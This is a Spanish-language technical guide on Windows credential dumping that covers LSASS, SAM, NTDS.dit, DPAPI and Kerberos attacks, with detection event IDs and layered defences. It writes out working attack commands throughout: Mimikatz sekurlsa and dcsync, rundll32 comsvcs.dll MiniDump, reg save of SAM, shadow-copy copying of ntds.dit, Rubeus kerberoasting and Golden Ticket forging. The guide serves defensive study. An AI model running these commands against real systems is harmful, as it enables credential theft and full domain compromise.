Credential Dumping en Windows: LSASS, SAM, DPAPI y Más Allá
Guía técnica completa de técnicas de credential dumping en Windows. LSASS dump (Mimikatz, procdump, comsvcs.dll), SAM database extraction, DPAPI secrets, Kerberos attacks (Kerberoasting, Golden Ticket), DCSync, y las defensas específicas para cada técnica.
Las credenciales: el premio más valioso
En una red Windows corporativa con Active Directory, las credenciales son la llave maestra. Un atacante con el hash NTLM de Domain Admin puede autenticarse en cualquier sistema del dominio. Con un Golden Ticket Kerberos, puede suplantar a cualquier usuario durante la vida útil del ticket (por defecto, 10 horas, renovable 7 días, pero el Golden Ticket puede configurarse para durar años).
El credential dumping es la fase del ataque que extrae estas credenciales de los sistemas comprometidos. Es el paso que transforma el acceso a una máquina individual en acceso a toda la red.
LSASS: el almacén central de credenciales (T1003.001)
Qué contiene LSASS en memoria
| Credencial | Condiciones | Riesgo |
|---|---|---|
| Hashes NTLM | Usuarios con sesión activa o reciente | Pass-the-hash en toda la red |
| Tickets Kerberos (TGT, TGS) | Usuarios con sesión Kerberos activa | Pass-the-ticket |
| Contraseñas en claro | Si WDigest está habilitado (default en versiones pre-Win8.1) | Acceso directo |
| Credenciales de servicio | Service accounts con sesión | Movimiento lateral |
| Credenciales cacheadas | Domain Cached Credentials (DCC2) | Cracking offline |
| PIN/clave de smart card | Si se usó smart card | Suplantación |
Técnica 1: Mimikatz (sekurlsa::logonpasswords)
La herramienta más conocida. Mimikatz accede a LSASS directamente y parsea las estructuras de credenciales en memoria:
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : WIN10$
Domain : CONTOSO
NTLM : 3f4a7e2d6b8c9...
SHA1 : 7e8f9a0b1c2d3...
Authentication Id : 0 ; 12345678
Session : Interactive from 1
User Name : admin
Domain : CONTOSO
NTLM : aad3b435b51404ee:8846f7eaee8fb117
Técnica 2: procdump (Sysinternals)
Herramienta legítima de Microsoft. Crea un dump de la memoria de LSASS que se puede analizar offline:
procdump.exe -ma lsass.exe lsass.dmp
El dump se transfiere a la máquina del atacante y se analiza con Mimikatz:
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
Ventaja: procdump es una herramienta legítima de Microsoft, firmada. Muchos EDRs no la bloquean por defecto.
Técnica 3: comsvcs.dll MiniDump (LOLBin)
Usar una DLL del sistema para crear el dump sin herramientas externas:
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump [LSASS_PID] C:\temp\lsass.dmp full
O via PowerShell:
$lsass = Get-Process lsass
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass.Id C:\temp\lsass.dmp full
Ventaja: no requiere descargar ninguna herramienta. comsvcs.dll es parte de Windows.
Técnica 4: nanodump
Herramienta especializada en dumps sigilosos de LSASS:
- Dump parcial (solo las secciones con credenciales)
- Fork del proceso LSASS (crea una copia sin acceder al proceso original)
- Output en formato custom (no .dmp estándar, para evadir detección)
- Evasión de EDR hooks
Técnica 5: Task Manager (manual)
El método más simple (pero solo en sistemas sin EDR):
- Abrir Task Manager como administrador
- Tab Details, encontrar lsass.exe
- Click derecho, "Create dump file"
- El dump se guarda en
%TEMP%
Detección de LSASS dump
| Método | Indicador | Event ID / Herramienta |
|---|---|---|
| Sysmon Event ID 10 | ProcessAccess a lsass.exe con PROCESS_VM_READ | Sysmon |
| Sysmon Event ID 1 | procdump.exe o rundll32.exe con comsvcs.dll | Sysmon |
| Sysmon Event ID 11 | Archivo .dmp creado | Sysmon |
| Windows Event ID 4656 | Handle abierto en lsass.exe | Security Log (audit) |
| EDR | Acceso cross-process a LSASS | CrowdStrike, SentinelOne |
| Credential Guard | Credenciales no disponibles en dump | VBS/Credential Guard |
| RunAsPPL | LSASS como PPL, bloquea acceso de procesos no firmados | Registry |
Protección: RunAsPPL
Habilitar LSASS como Protected Process Light:
Registry: HKLM\SYSTEM\CurrentControlSet\Control\Lsa
Value: RunAsPPL = 1 (DWORD)
Con RunAsPPL activo, solo procesos firmados por Microsoft pueden acceder a LSASS. Mimikatz, procdump (con el target lsass) y nanodump fallan. Sin embargo, BYOVD puede bypassear PPL desde kernel mode.
SAM Database (T1003.002)
Qué es
La SAM (Security Account Manager) database almacena hashes de contraseñas de cuentas locales. Se encuentra en C:\Windows\System32\config\SAM y está bloqueada mientras Windows está ejecutándose.
Técnicas de extracción
Via registro (requiere admin):
reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save
Los dos archivos se analizan offline con herramientas como Impacket secretsdump o Mimikatz.
Via Volume Shadow Copy:
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\sam
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\system
Via Mimikatz:
mimikatz # lsadump::sam /system:system.save /sam:sam.save
Detección
- Sysmon Event ID 1:
reg.execonsaveySAMoSYSTEM - Acceso a shadow copies fuera de contexto de backup legítimo
- File creation de archivos .save en ubicaciones temporales
DPAPI: Data Protection API (T1555.004)
Qué protege DPAPI
DPAPI (Data Protection API) cifra datos sensibles almacenados por aplicaciones:
- Contraseñas guardadas en navegadores (Chrome, Edge, Firefox)
- Credenciales almacenadas por el Windows Credential Manager
- WiFi passwords
- Certificados privados
- Datos de aplicaciones que usan CryptProtectData()
Cómo funciona
DPAPI cifra datos con una clave derivada de la contraseña del usuario (Master Key). Las Master Keys se almacenan cifradas en:
%APPDATA%\Microsoft\Protect\{SID}\{GUID}
Para descifrar, se necesita la contraseña del usuario o el hash NTLM. Si el atacante ya tiene el hash NTLM (del LSASS dump), puede descifrar todas las DPAPI master keys y acceder a todos los datos protegidos.
Herramientas
| Herramienta | Función |
|---|---|
| SharpDPAPI (GhostPack) | Descifrar DPAPI master keys y datos protegidos |
| Mimikatz (dpapi::masterkey) | Descifrar master keys |
| dpapi.py (Impacket) | Descifrar DPAPI remotamente |
| DonPAPI | Automatiza extracción de DPAPI secrets de múltiples hosts |
Detección
- Acceso a archivos en
%APPDATA%\Microsoft\Protect\por procesos no estándar - Ejecución de SharpDPAPI o herramientas similares
- Acceso masivo a archivos de credenciales de navegadores
Ataques Kerberos
Kerberoasting (T1558.003)
Solicitar tickets de servicio Kerberos (TGS) para cuentas de servicio con SPN (Service Principal Name) configurado. Los tickets se cifran con el hash de la contraseña de la cuenta de servicio, lo que permite cracking offline.
# Rubeus: Kerberoasting
Rubeus.exe kerberoast /outfile:tickets.txt
# Impacket: Kerberoasting remoto
GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request -outputfile tickets.txt
# Cracking con hashcat
hashcat -m 13100 tickets.txt wordlist.txt
Detección: Event ID 4769 con encryption type RC4 (0x17) para tickets de servicio. Kerberos normalmente usa AES; RC4 indica Kerberoasting.
AS-REP Roasting (T1558.004)
Atacar cuentas con "Do not require Kerberos preauthentication" habilitado. Permite solicitar un AS-REP cifrado con el hash de la cuenta sin autenticarse primero.
Rubeus.exe asreproast /outfile:asrep.txt
Detección: Event ID 4768 sin preauthentication y con RC4 encryption.
DCSync (T1003.006)
Simular un Domain Controller y solicitar la replicación de hashes de contraseñas de Active Directory:
mimikatz # lsadump::dcsync /domain:contoso.local /user:krbtgt
mimikatz # lsadump::dcsync /domain:contoso.local /all
DCSync obtiene el hash del usuario krbtgt, que permite crear Golden Tickets.
Detección: Event ID 4662 con operaciones de replicación de AD desde una máquina que no es un Domain Controller. Los derechos requeridos son DS-Replication-Get-Changes y DS-Replication-Get-Changes-All.
Golden Ticket (T1558.001)
Con el hash de krbtgt (obtenido via DCSync o dump de NTDS.dit), crear un TGT Kerberos válido para cualquier usuario:
mimikatz # kerberos::golden /user:Administrator /domain:contoso.local /sid:S-1-5-21-... /krbtgt:HASH /ptt
El Golden Ticket es persistente: funciona hasta que se cambia la contraseña de krbtgt DOS VECES (porque Kerberos guarda la contraseña actual y la anterior).
Detección: TGTs con tiempos de vida anormales, TGTs para usuarios que no existen en AD, Event ID 4769 con ticket encryption que no coincide con la política del dominio.
NTDS.dit: la base de datos de Active Directory (T1003.003)
Qué es
NTDS.dit es la base de datos de Active Directory que contiene hashes de TODOS los usuarios del dominio. Se encuentra en C:\Windows\NTDS\ntds.dit en los Domain Controllers.
Técnicas de extracción
# Via ntdsutil (herramienta legítima de Microsoft)
ntdsutil "ac i ntds" "ifm" "create full C:\temp\ntds_dump" q q
# Via vssadmin
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
# Analisis offline con Impacket
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
Impacto
NTDS.dit contiene los hashes de TODAS las cuentas del dominio. Su extracción equivale a compromiso total del dominio.
Detección
- Event ID 4662 en el Domain Controller con operaciones de lectura de objetos de AD
- Sysmon Event ID 1: ntdsutil.exe ejecutado
- Creación de shadow copies en Domain Controllers
- Archivos ntds.dit copiados a ubicaciones no estándar
Resumen: técnicas por fuente de credenciales
| Fuente | Técnica | Herramienta | ATT&CK ID |
|---|---|---|---|
| LSASS (memoria) | Memory dump | Mimikatz, procdump, nanodump | T1003.001 |
| SAM (registro) | Registry save | reg.exe, Mimikatz | T1003.002 |
| NTDS.dit (AD) | Database copy / DCSync | ntdsutil, Impacket, Mimikatz | T1003.003 |
| LSA Secrets | Registry extraction | Mimikatz, Impacket | T1003.004 |
| Cached Credentials | DCC2 extraction | Mimikatz, cachedump | T1003.005 |
| Active Directory (DCSync) | Replication protocol | Mimikatz, Impacket | T1003.006 |
| DPAPI | Master key decryption | SharpDPAPI, Mimikatz | T1555.004 |
| Browsers | SQLite DB read | SharpChrome, HackBrowserData | T1555.003 |
| Kerberos TGS | Kerberoasting | Rubeus, Impacket | T1558.003 |
| Kerberos AS-REP | AS-REP Roasting | Rubeus, Impacket | T1558.004 |
| Kerberos TGT | Golden Ticket | Mimikatz | T1558.001 |
Defensa en profundidad contra credential dumping
Prioridad 1 (implementar inmediatamente)
- Habilitar Credential Guard (VBS) en endpoints compatibles
- Habilitar RunAsPPL para LSASS
- Deshabilitar WDigest (para eliminar contraseñas en claro de LSASS)
- Monitorizar accesos a LSASS (Sysmon Event ID 10)
- Cuentas de servicio con contraseñas de 25+ caracteres (contra Kerberoasting)
Prioridad 2 (implementar este mes)
- Cambiar contraseña de krbtgt cada 180 días (prevenir Golden Ticket duradero)
- Eliminar "Do not require Kerberos preauthentication" de todas las cuentas
- Implementar tiered admin model (Domain Admins no inician sesión en workstations)
- Alertar en Event ID 4769 con RC4 encryption (Kerberoasting)
- Alertar en DCSync: Event ID 4662 con replication rights desde non-DC
Prioridad 3 (implementar este trimestre)
- gMSA (Group Managed Service Accounts) para service accounts
- LAPS (Local Administrator Password Solution) para admin local
- PAW (Privileged Access Workstations) para Domain Admins
- Auditoría periódica de SPNs y cuentas sin preauthentication
Fuentes y referencias
- Delpy, B. "Mimikatz." https://github.com/gentilkiwi/mimikatz
- GhostPack. "Rubeus, SharpDPAPI, Seatbelt." https://github.com/GhostPack
- Impacket. "secretsdump.py." https://github.com/fortra/impacket
- Microsoft. "Credential Guard." Microsoft Docs.
- Microsoft. "Configuring Additional LSA Protection (RunAsPPL)." Microsoft Docs.
- MITRE ATT&CK. "OS Credential Dumping (T1003)." https://attack.mitre.org/techniques/T1003/
- MITRE ATT&CK. "Steal or Forge Kerberos Tickets (T1558)." https://attack.mitre.org/techniques/T1558/
- Russinovich, M. et al. "Windows Internals Part 1." Microsoft Press, 2017.
- harmj0y. "Kerberoasting Without Mimikatz." 2016.
- SpecterOps. "An ACE in the Hole: Stealthy Host Persistence." 2019.
- Red Canary. "2024 Threat Detection Report: Credential Access." Red Canary, 2024.
- The DFIR Report. "Credential Access Techniques." https://thedfirreport.com/
Preguntas frecuentes
Libros recomendados
Artículos relacionados
Windows API Calls Más Usadas por Malware: Guía de Referencia para Analistas
EDR Internals: Cómo Funcionan y Cómo se Evaden
Cadena de Infección de Ransomware: Del Acceso Inicial al Cifrado
LSASS Dump: Investigación de Robo de Credenciales
RedLine Stealer: Análisis de Memoria, Red y Exfiltración
Reglas Sigma: Sintaxis, Estructura y Tu Primer Caso Práctico
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.